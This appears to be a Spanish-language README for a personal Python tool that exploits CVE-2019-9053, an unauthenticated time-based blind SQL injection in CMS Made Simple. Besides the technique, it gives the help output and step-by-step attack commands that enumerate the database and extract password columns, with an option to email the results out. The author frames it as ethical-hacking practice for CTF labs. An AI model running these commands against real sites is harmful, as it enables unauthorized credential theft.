
Herramienta de inyección SQL ciega basada en tiempo para MySQL - CVE-2019-9053
MySQLi.py es un proyecto personal de práctica, inspirado en el exploit 46635 de Exploit-DB, utilizado durante la sala SimpleCTF de TryHackMe.
Lo que me llamó la atención del exploit original fue su capacidad para extraer credenciales e incluso descifrar el hash de la contraseña automáticamente. Con esa motivación, quise escribir mi propia versión: más moderna, con una mejor interfaz y más opciones de personalización. Quizás ya existan herramientas similares, pero espero que este pequeño programa sea una contribución más al mundo del hacking ético.
La herramienta explota CVE-2019-9053, una vulnerabilidad en CMS Made Simple < 2.2.10 que expone un parámetro sin sanitizar vulnerable a inyección SQL ciega basada en tiempo, sin requerir autenticación. Como la respuesta web no muestra los datos directamente, la técnica consiste en inyectar condiciones IF(SUBSTRING(...), SLEEP(n), 0) y medir el tiempo de respuesta para adivinar cada carácter, uno a uno, de la base de datos, tablas, columnas y datos.
MySQLi demo
pip install -r requirements.txt
Para usar la opción --email, crea un archivo .env en el mismo directorio.
Usa la plantilla de .env.example:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
La contraseña debe ser una contraseña de aplicación de Google, no tu contraseña habitual de Gmail. Puedes generar una en: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py está diseñado exclusivamente para uso educativo y para entornos donde tengas permiso explícito para realizar pruebas de seguridad.
Usar esta herramienta contra sistemas sin autorización previa por escrito del propietario es ilegal y puede constituir un delito según las leyes de muchos países. El autor no se hace responsable de ningún daño, pérdida de datos, consecuencia legal o cualquier otro perjuicio causado por el mal uso de este software.
Úsala únicamente en tus propios laboratorios, entornos CTF, plataformas de práctica como TryHackMe o HackTheBox, o sistemas que estés autorizado a probar.
¡Feliz hacking! :)